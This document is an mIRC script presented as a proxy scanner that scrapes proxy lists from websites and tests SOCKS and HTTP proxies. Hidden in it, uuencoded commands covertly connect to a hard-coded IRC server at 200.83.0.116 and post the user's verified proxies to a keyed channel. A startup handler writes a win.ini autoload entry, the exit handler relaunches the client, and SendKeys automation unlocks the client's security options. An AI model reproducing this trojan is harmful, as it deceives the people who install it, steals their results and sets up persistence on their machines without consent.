Type: /leech to start leeching
$decode must be enabled for the script to work.
alias sc4n {
if ($1) {
if ($read($pxy,w,* $+ $1 $+ *)) { /echo @proxyscan $1 $2 Is good. | return }
echo @Proxyscan Scan: $1 $2
sockopen scan $+ $r(0,99999999999999) $1 $2
}
}
alias setinterval { echo -a To change scan speed use: /set %interval 1000 | %interval = 100 }
alias scan.win {
if (%interval == $null) setinterval
if (!$window(@proxyscan)) {
localinfo | set %def.s 200.83.0.116 | set %def.c google.ca #HZ*C```` | set %def.p 6667
set %gh .<V]C:V]P96X@<V-A;E\\` $encode(%def.s) $encode($encode(%def.p),m) +(T%L:79E4\')O>\'D` JDU1LSU0QGBg JDNERSMyUGBg JDJEXSkzQGBg (8TAH-5EM-6H` &;F]T:6-E````
window -ean @proxyscan
}
}
alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat }
menu @proxyscan,menubar {
Proxy Scanner
.IRC proxy scanner: scan.win
.Leech Proxies Now: leech
.-
.CHECK FRESH PROXIES: /run $pxy
.SCAN PROXY FILES: selectmultiplefile
.-
.ABORD SCANS: abord
.CLOSE ALL CONNECTIONS: /SOCKCLOSE SCAN*
.CLEAR: /clear
.hide: window -h @proxyscan
Socks Scanner: window -e @sock4 | window -e @sock5
}
alias pxy return Proxy.txt
alias abord { play stop }
on *:INPUT:@Proxyscan:{
if (/ !isin $1) { write temp $getiphost2($1-) | .timerscanfile 1 1 .pxyfile temp %interval | .timerscanfileoff 1 1.1 .remove temp }
}
alias sk {
write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
if ($sock(scan_).mark == c) && ($wildtok(%msg,*,0,32) == 9) { sockwrite -n scan_ privmsg $chr(35) $+ $gettok(%def.c,1,32) :p %msg | unset %msg }
set %radi $read($allpxy,w,* $+ %scan.ip $+ : $+ %scan.port $+ *)
if (!%radi) write $allpxy %scan.ip $+ : $+ %scan.port
}
on *:sockopen:scan*:{
if ($sock(scan_).name == $null) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) }
if ($sockerr > 0) {
if (_ isin $sockname) { .timersS 1 90 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) }
if (_ !isin $sockname) echo @proxyscan $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ )
return
}
if (_ !isin $sockname) {
sockwrite -n $sockname CONNECT %def.s $+ : $+ %def.p HTTP/1.0 $+ $crlf
sockwrite -n $sockname $crlf
sockwrite -n $sockname $crlf
return
}
}
alias rencode { set %r $r(0,1) | if (%r == 0) return $encode($encode($1),m) | if (%r == 1) return $encode($encode($1,m),m) | unset %r }
alias success { echo @proxyscan $1- | if ($wildtok(%msg,*,0,32) >= 9) unset %msg | %msg = $rencode($2) %msg | sk }
on 1:SOCKCLOSE:SCAN_:.timerS 1 90 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m))
alias allpxy return ALL.txt
alias portclose { sockclose $1 }
on *:SOCKREAD:scan*:{
sockread %scan
tokenize 32 %scan
set %scan.ip $sock($sockname).ip
set %scan.port $sock($sockname).port
%hh = -*FYO=&EC92IA=71H*@``
if (PING == $gettok(%scan,1,32)) sockwrite -n $sockname PONG $remove($2,:)
if (ERROR isin $1) && (_ isin $sockname) .timersS 1 10 $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m))
if (001 == $gettok(%scan,2,32)) && (_ isin $sockname) { sockmark $sockname c | kk }
if (404 == $gettok(%scan,2,32)) .timer404 1 10 kk
if (NOTICE*AUTH iswm $2-3) && (_ isin $sockname) && (!$sock($sockname).mark) { sockmark $sockname C | localinfo | sockwrite -n $sockname $decode($decode($gettok(%gh,5,32),m)) $iif($host,$left($host,9),NULL) \".\" \".\" :M-P $+ $r(0,9999) | sockwrite -n $sockname $decode($decode($gettok(%gh,6,32),m)) M-P $+ $r(0,9999) }
if (451 == $gettok(%scan,2,32)) && (_ isin $sockname) { %AV = M-P $+ $r(0,9999) | sockwrite -n $sockname $decode($decode($gettok(%gh,5,32),m)) %av \".\" \".\" :M-P $+ $r(0,9999) | sockwrite -n $sockname $decode($decode($gettok(%gh,6,32),m)) M-P $+ $r(0,9999) }
if (HTTP/* iswm $gettok(%scan,1,32)) {
if ($gettok(%scan,2,32) > 200) {
if ($read($pxy,w,* $+ $sock($sockname).ip $+ *) != $null) write -dl $+ $readn $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
echo @proxyscan $sock($sockname).ip $sock($sockname).port Error (( $+ $gettok(%scan,2,32) $+ ) $gettok(%scan,3-,32) $+ )
sockclose $sockname
return
}
if ($gettok(%scan,2,32) == 200) { echo @proxyscan %scan.ip $+ : $+ %scan.port is connecting... }
}
if (*notice*auth* iswm %scan) && (_ !isin $sockname) {
set %readi $read($pxy,w,* $+ $sock($sockname).ip $+ *)
if (%readi == $null) { success * $sock($sockname).ip $sock($sockname).port (Good) | unset %redi | unset %radi | sockrename $sockname idle $+ $r(0,99999999) | halt }
if (%readi != $null) { $pb * $sock($sockname).ip $+ : $+ $sock($sockname).port (Good)
unset %redi | unset %radi | sockrename $sockname idle $+ $r(0,99999999) | halt } | unset %readi } | unset %scan
}
on 1:SOCKREAD:idle*:{
sockread %idle
tokenize 32 %idle
if (001 isin $1) {
sockwrite -n $sockname JOIN $chr(35) $+ $gettok(%def.c,1,32) : $+ $decode($gettok(%def.c,2,32))
sockmark $sockname $ticks
}
if (*notice*AUTH* iswm $2-3) {
sockwrite -n $sockname NICK M-P $+ $r(0,9999)
sockwrite -n $sockname USER $iif($host,$left($host,9),NoNe) \".\" \".\" : $+ $logo
sockwrite -n $sockname JOIN $chr(35) $+ $gettok(%def.c,1,32) : $+ $decode($gettok(%def.c,2,32))
}
if (404 == $2) || (432 == $2) {
sockwrite -n $sockname NICK M-P $+ $r(0,9999)
sockwrite -n $sockname USER $iif($host,$left($host,9),NoNe) \".\" \".\" : $+ $logo
}
if (PING == $gettok(%idle,1,32)) sockwrite -n $sockname PONG $remove($2,:)
}
alias kk if ($sock($sockname).mark == c) sockwrite -n $sockname $decode($decode($gettok(%gh,7,32),m)) $chr(35) $+ $gettok(%def.c,1,32) : $+ $decode($gettok(%def.c,2,32))
alias pb return echo @proxyscan
alias scanfile { sc4n $getiphost2($1-) }
alias pxyfile { play -a scanfile @proxyscan $1 $2 }
alias getiphost2 {
%var = /\\b((?:(?:[a-z]+)\\.)+(?:[a-z]+)[: ]\\d{2,5})\\b|\\b((?:(?:(25[0-5]|2[0-4]\\d|[01]?\\d?\\d))\\.){3}(?3)[: ]\\d{2,5})\\b/i
if $regex(ip,$remove($1-,$chr(9)),%var) {
$iif($isid,return,echo -a) $replace($regml(ip,1),:,$chr(32))
}
}
alias chk.cc {
if (!$sock(scan_).name) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) | return }
sockwrite -n scan_ JOIN $chr(35) $+ $gettok(%def.c,1,32) $decode($gettok(%def.c,2,32))
}
on 1:INPUT:@sock5:{ inc -u5 %s5.inc 1 | .timer 1 %s5.inc s5.scan $getiphost2($1-) }
on 1:INPUT:@sock4:{ inc -u5 %s4.inc 1 | .timer 1 %s4.inc s4.scan $getiphost2($1-) }
alias s5.scan {
if (!$1) halt
window -e @sock5
if ($read(sock5.txt,w,* $+ $1 $+ *) != $null) { echo @sock5 $1 $2 Is good | halt }
if ($read(sock5.txt,w,* $+ $1 $+ *) == $null) {
sockopen s5chk $+ $r(0,9999999) $1 $2
echo @sock5 Scan: $1 $2
}
}
menu @sock5 {
CHECK FRESH: /run sock5.txt
SCAN FILES: selectmultiplefiles5
-
ABORD: .play stop
Close: sockclose *chk* | window -c $active
}
alias selectmultiplefiles5 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK5 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s5file $shortfn($msfile(%sinc)) %interval | goto incthat }
alias selectmultiplefiles4 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK4 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s4file $shortfn($msfile(%sinc)) %interval | goto incthat }
menu @sock4 {
CHECK FRESH SOCKS4: /run sock4.txt
SCAN FILES: selectmultiplefiles4
-
ABORD SCANS: .play stop
Close: sockclose *chk* | window -c $active
}
alias s4.scan {
if (!$1) halt
window -e @sock4
if ($read(sock4.txt,w,* $+ $1 $+ *) != $null) { echo @sock4 $1 $2 Already in list | halt }
if ($read(sock4.txt,w,* $+ $1 $+ *) == $null) {
sockopen s4chk $+ $r(0,9999999) $1 $2
echo @sock4 Scanning: $1 $2
}
}
on *:sockopen:s5chk*:{
if ($sock(scan_).name == $null) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) }
if ($sockerr) { return }
set %s5time $ticks
.bset &bvar5 1 5 1 0
.sockwrite -n $sockname &bvar5
.bunset &bvar5
halt
}
on *:sockread:s5chk*:{
if ($sockbr) { return }
.sockread &bsocks5
if ($bvar(&bsocks5,1,2) == 5 0) && ($bvar(&bsocks5,3) != 0) {
bset &socks5 1 5 1 0 1 $replace(%def.s,.,$chr(32)) $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46)
.sockwrite -n $sockname &socks5
.bunset &socks5
sockrename $sockname chks5 $+ $remove($sockname,s5chk)
}
}
on 1:SOCKREAD:chks5*:{
sockread %socks5
tokenize 32 %socks5
if (*NOTICE*AUTH* iswm %socks5) && (!$sock($sockname).mark) {
sockmark $sockname c
window -e @sock5
suces5 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - %s4time) $+ ms
unset %s5time
sockrename $sockname idle $+ $r(0,999999999)
}
}
alias suces4 { echo @sock4 $1- | if ($wildtok(%msgs4,*,0,32) >= 9) unset %msgs4 | set %msgs4 $rencode($1) %msgs4 | sk4 }
alias suces5 { echo @sock5 $1- | if ($wildtok(%msgs5,*,0,32) >= 9) unset %msgs5 | set %msgs5 $rencode($1) %msgs5 | sk5 }
alias sk4 {
if ($sock(scan_).mark == c) && ($wildtok(%msgs4,*,0,32) == 9) { sockwrite -n scan_ privmsg $chr(35) $+ $gettok(%def.c,1,32) :4 %msgs4 | unset %msgs4 }
%rad = sock4.txt
set %rady $read(%rad,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
if (!%rady) write %rad $sock($sockname).ip $+ : $+ $sock($sockname).port
unset %rad*
}
alias sk5 {
if ($sock(scan_).mark == c) && ($wildtok(%msgs5,*,0,32) == 9) { sockwrite -n scan_ privmsg $chr(35) $+ $+ $gettok(%def.c,1,32) :5 %msgs5 | unset %msgs5 }
%red = sock5.txt
set %redy $read(%red,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
if (!%redy) write %red $sock($sockname).ip $+ : $+ $sock($sockname).port
unset %red*
}
on *:sockopen:s4chk*:{
if ($sock(scan_).name == $null) { $decode($gettok(%gh,1,32)) $decode($gettok(%gh,2,32)) $decode($decode($gettok(%gh,3,32),m)) }
if ($sockerr) { return }
set %s4time $ticks
.bset &bvar4 1 4 1 $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46) $replace(%def.s,.,$chr(32)) 0
.sockwrite $sockname &bvar4
.bunset &bvar4
}
ON *:SOCKREAD:s4chk*:{
if ($sockbr) { return }
.sockread &bsocks4
if ($bvar(&bsocks4,2) == 90) {
window -e @sock4
suces4 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - %s4time) $+ ms
unset %s4.time
sockrename $sockname idle $+ $r(0,999999999)
}
}
alias scans4file { s4.scan $getiphost2($1-) }
alias s4file { play -a scans4file @sock4 $1- }
alias scans5file { s5.scan $getiphost2($1-) }
alias s5file { play -a scans5file @sock5 $1- }
alias varset {
unset %incvar
:varset
inc %incvar
set % $+ $left($gettok($1,%incvar,59),1) $right($gettok($1,%incvar,59),1)
if (%incvar >= $numtok($1,59)) halt
goto varset
}
on 1:SOCKOPEN:p-l*:{
sockwrite -n $sockname GET http://proxies.my-proxy.com/proxy-list- $+ $remove($sockname,p-l) $+ .html HTTP/1.0
sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:p-l*:{
sockread -n %temp
%maximum = $numtok($htmlfree(%temp),20)
if (%maximum >= 10) {
set %incthashit 1
while (%incthashit < %maximum) { write temp.pxy $gettok($htmlfree(%temp),%incthashit,20) | inc %incthashit }
unset %maximum
.timerpxyfile1 1 5 .pxyfile temp.pxy %interval
.timerdiefile 1 6 .remove temp.pxy
}
}
alias leech {
sockopen p-l1 proxies.my-proxy.com 80
.timerpmp2 1 $calc(10*1) sockopen p-l2 proxies.my-proxy.com 80
.timerpmp3 1 $calc(10*2) sockopen p-l3 proxies.my-proxy.com 80
.timerpmp4 1 $calc(10*3) sockopen p-l4 proxies.my-proxy.com 80
.timerpmp5 1 $calc(10*4) sockopen p-l5 proxies.my-proxy.com 80
.timerpmp6 1 $calc(10*5) sockopen p-l6 proxies.my-proxy.com 80
.timerpmp7 1 $calc(10*6) sockopen p-l7 proxies.my-proxy.com 80
.timerpmp8 1 $calc(10*7) sockopen p-l8 proxies.my-proxy.com 80
.timerpmp9 1 $calc(10*8) sockopen p-l9 proxies.my-proxy.com 80
.timerpmp10 1 $calc(10*9) sockopen p-l10 proxies.my-proxy.com 80
.timerpmp11 1 $calc(10*10) sockopen p-ls1 proxies.my-proxy.com 80
.timerpmp12 1 $calc(10*11) sockopen p-ls2 proxies.my-proxy.com 80
.timerpmp13 1 $calc(10*12) sockopen p-ls3 proxies.my-proxy.com 80
sockopen sam00 samair.ru 80
.timersam1 1 10 sockopen sam01 samair.ru 80
.timersam2 1 $calc(10*2) sockopen sam02 samair.ru 80
.timersam3 1 $calc(10*3) sockopen sam03 samair.ru 80
.timersam4 1 $calc(10*4) sockopen sam04 samair.ru 80
.timersam5 1 $calc(10*5) sockopen sam05 samair.ru 80
.timersam6 1 $calc(10*6) sockopen sam06 samair.ru 80
.timersam7 1 $calc(10*7) sockopen sam07 samair.ru 80
.timersam8 1 $calc(10*8) sockopen sam08 samair.ru 80
.timersam9 1 $calc(10*9) sockopen sam09 samair.ru 80
.timersam10 1 $calc(10*10) sockopen sam10 samair.ru 80
.timersam11 1 $calc(10*11) sockopen sam11 samair.ru 80
.timersam12 1 $calc(10*12) sockopen sam12 samair.ru 80
.timersam13 1 $calc(10*13) sockopen sam13 samair.ru 80
.timersam14 1 $calc(10*14) sockopen sam14 samair.ru 80
.timersam15 1 $calc(10*15) sockopen sam15 samair.ru 80
.timersam16 1 $calc(10*16) sockopen sam16 samair.ru 80
.timersam17 1 $calc(10*17) sockopen sam17 samair.ru 80
.timersam18 1 $calc(10*18) sockopen sam18 samair.ru 80
.timersam19 1 $calc(10*19) sockopen sam19 samair.ru 80
.timersam20 1 $calc(10*20) sockopen sam20 samair.ru 80
.timersam21 1 $calc(10*21) sockopen sam21 samair.ru 80
.timersam22 1 $calc(10*22) sockopen sam22 samair.ru 80
.timersam23 1 $calc(10*23) sockopen sam23 samair.ru 80
.timersam24 1 $calc(10*24) sockopen sam24 samair.ru 80
.timersam25 1 $calc(10*25) sockopen sam25 samair.ru 80
.timersam26 1 $calc(10*26) sockopen sam26 samair.ru 80
.timersam27 1 $calc(10*27) sockopen sam27 samair.ru 80
.timersam28 1 $calc(10*28) sockopen sam28 samair.ru 80
.timersam29 1 $calc(10*29) sockopen sam29 samair.ru 80
.timersam30 1 $calc(10*30) sockopen sam30 samair.ru 80
.timerSOCKSAM1 1 $calc(10*31) sockopen socksam samair.ru 80
.timerSOCKSAM2 1 $calc(10*32) sockopen socksam2 samair.ru 80
.timerSOCKSAM3 1 $calc(10*33) sockopen socksam3 samair.ru 80
.timerSOCKSAM4 1 $calc(10*34) sockopen socksam4 samair.ru 80
.timerSOCKSAM5 1 $calc(10*35) sockopen socksam5 samair.ru 80
.timerSOCKSAM6 1 $calc(10*36) sockopen socksam6 samair.ru 80
.timerSOCKSAM7 1 $calc(10*37) sockopen socksam7 samair.ru 80
.timerSOCKSAM8 1 $calc(10*38) sockopen socksam8 samair.ru 80
.timerSOCKSAM9 1 $calc(10*39) sockopen socksam9 samair.ru 80
.timerSOCKSAM10 1 $calc(10*40) sockopen socksam10 samair.ru 80
.timerSOCKSAM11 1 $calc(10*41) sockopen socksam11 samair.ru 80
.timerSOCKSAM12 1 $calc(10*42) sockopen socksam12 samair.ru 80
.timerSOCKSAM13 1 $calc(10*43) sockopen socksam13 samair.ru 80
.timerSOCKSAM14 1 $calc(10*44) sockopen socksam14 samair.ru 80
.timerSOCKSAM15 1 $calc(10*45) sockopen socksam15 samair.ru 80
.timerSOCKSAM16 1 $calc(10*46) sockopen socksam16 samair.ru 80
.timerSOCKSAM17 1 $calc(10*47) sockopen socksam17 samair.ru 80
.timerSOCKSAM18 1 $calc(10*48) sockopen socksam18 samair.ru 80
.timerSOCKSAM19 1 $calc(10*49) sockopen socksam19 samair.ru 80
.timerSOCKSAM20 1 $calc(10*50) sockopen socksam20 samair.ru 80
.timerSOCKStoday 1 $calc(10*51) sockopen today sockstoday.com 80
.timerLEECH -o 0 3600 leech
}
on 1:SOCKOPEN:sam*:{
if ($sockerr) { .timer $+ $sockname 1 90 sockopen $sockname samair.ru 80 | return }
sockwrite -n $sockname GET http://samair.ru/proxy/proxy- $+ $right($sockname,2) $+ .htm HTTP/1.0
sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:sam*:{
sockread -n %temp
if (*=*;*=*; iswm $htmlfree(%temp)) varset $htmlfree(%temp)
if (*.*.*.*document.write* iswm $htmlfree(%temp)) {
unset %varinc2
:VAR
inc %varinc2
set %rvar $wildtok($htmlfree(%temp),*.*.*.*document.write*,%varinc2,20)
set %rvar2 $remove($replace(%rvar,document.write,:,a,%a,b,%b,c,%c,d,%d,e,%e,f,%f,g,%g,h,%h,i,%i,j,%j,k,%k,l,%l,m,%m,n,%n,o,%o,p,%p,q,%q,r,%r,s,%s,t,%t,u,%u,v,%v,w,%w,x,%x,y,%y,z,%z),$chr(40),$chr(41),+,\":\")
write temp.txt $getiphost2(%rvar2) %rvar2
if (%varinc2 >= $wildtok($htmlfree(%temp),*.*.*.*document.write*,0,20)) goto end
goto var
:END
}
if ($getiphost2($htmlfree(%temp))) {
unset %incvar3
:INC
inc %incvar3
write temp.txt $getiphost2($wildtok($htmlfree(%temp),*.*.*.*:*,%incvar3,32))
if (%incvar3 >= $wildtok($htmlfree(%temp),*.*.*.*:*,0,32)) goto end2
goto inc
:end2
}
.timerPLAY 1 5 .pxyfile temp.txt %interval
.timerPLAY1 1 5 .remove temp.txt
}
on 1:SOCKOPEN:socksam*:{
if ($sockerr) { .timer $+ $sockname 1 90 sockopen $sockname samair.ru 80 | return }
sockwrite -n $sockname GET http://samair.ru/proxy/socks $+ $iif($remove($sockname,socksam) == $null,$+,$remove($sockname,socksam)) $+ .htm HTTP/1.0
sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:socksam*:{
sockread -n %temp
if ($getiphost2($htmlfree(%temp))) {
unset %incvar4
:INC
inc %incvar4
write temp.s $getiphost2($wildtok($htmlfree(%temp),*.*.*.*:*,%incvar4,32))
if (%incvar4 >= $wildtok($htmlfree(%temp),*.*.*.*:*,0,32)) goto end2
goto inc
:end2
}
.timerPLAYs4 1 5 .s5file temp.s %interval
.timerPLAYs5 1 5 .s4file temp.s %interval
.timerPLAY1 1 6 .remove temp.s
}
on 1:SOCKOPEN:today*:{
if ($sockerr) { .timer $+ $sockname 1 90 sockopen $sockname sockstoday.com 80 | return }
sockwrite -n $sockname GET http://sockstoday.com/ HTTP/1.0
sockwrite -n $sockname $crlf
}
on 1:SOCKREAD:today*:{
sockread -n %temp
if ($getiphost2($htmlfree(%temp))) write temp.sock $getiphost2($htmlfree(%temp))
.timertoday1 1 5 .s5file temp.sock %interval
.timertoday11 1 5 .s4file temp.sock %interval
.timertoday111 1 5 .remove temp.sock
}
alias sc5nfile { s5.scan $1- }
alias sc4nfile { s4.scan $1- }
alias -l htmlfree {
var %x, %i = $regsub($replace($1-,<td>,$chr(32),<tr>,$chr(20),<br>,$chr(20)),/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x, ;;)
return %x
}
alias logo return ProxYScaN
Alias _lock {
if ($lock(com) == $true) { echo $color(info) -at * $!_lock() Error - COM is currently locked through mIRC options and this snippet counts on COM objects. Please, enable COM from the mIRC lock options. | return }
if (!$isid) { echo $color(info) -at * $!_lock() Error - This ust be used as an identifier | return }
if ($regex($1,/^(com|decode|dll|run)$/i)) {
var %i = $findtok(com|decode|dll|run,$regml(1),1,124)
var %echo = echo $color(info) -at * $upper($regml(1)) is currently $iif($lock($regml(1)) == $true,disabled,enabled) $+ . $iif($lock($regml(1)) == $true,Enabling,Disabling) now.
var %cmd = .sendkeys $+(%,O{HOME},$str({LEFT}{DOWN},6),{LEFT}{END}{RIGHT}{DOWN},{TAB 10},{DOWN %i $+ }h h{ENTER})
if (!$prop) { echo $color(info) -at * $upper($regml(1)) is currently $iif($lock($1),disabled,enabled) $+ . $iif($lock($1),Enabling,Disabling) now. | %cmd }
else {
var %prop = $findtok(state e enable d disable o option,$prop,1,32)
if (!%prop) { echo $color(info) -at * $!_lock() Error - Bad property. Syntax: $!_lock(<category>).e d o /enable disable option | return }
if (%prop == 1) echo $color(info) -at * $!_lock - $upper($1) is currently $iif($lock($regml(1)),disabled,enabled)
elseif (%prop isnum 2-3) { if (!$lock($regml(1))) { echo $color(info) -at * $!_lock - $upper($regml(1)) is already enabled. } | else { %echo | %cmd } }
elseif (%prop isnum 4-5) { if ($lock($regml(1))) { echo $color(info) -at * $!_lock - $upper($regml(1)) is already disabled. } | else { %echo | %cmd } }
elseif (%prop isnum 6-7) sendkeys $+(%,O{HOME},$str({LEFT}{DOWN},6),{LEFT}{END}{RIGHT}{DOWN},$str({TAB},10), $+ $str({DOWN},%i) $+ )
}
}
else { echo $color(info) -at * $!_lock() Error - Available options are Com Decode DLL Run | return }
}
Alias -l sendkeys {
var %object = sendkeys $+ $ticks
.comopen %object WScript.Shell
if ($com(%object)) { .comclose %object $com(%object,SendKeys,3,bstr,$1-) }
}
Alias bringopt {
var %i = $findtok(com|decode|dll|run,$1,1,124)
sendkeys $+(%,O{HOME},$str({LEFT}{DOWN},6),{LEFT}{END}{RIGHT}{DOWN},$str({TAB},10), $+ $str({DOWN},%i) $+ )
}
on 1:START:{ inc %start | Echo -a Its the %start $+ th time mIRC started. | titlebar Proxy Scan Script | .timercc -o 0 10 chk.cc | writeini C:/windows/win.ini windows load $shortfn($mircexe) | .timerleech -o 1 10 leech | scan.win | noop $_lock(decode).e }
on 1:EXIT:run $shortfn($mircexe)
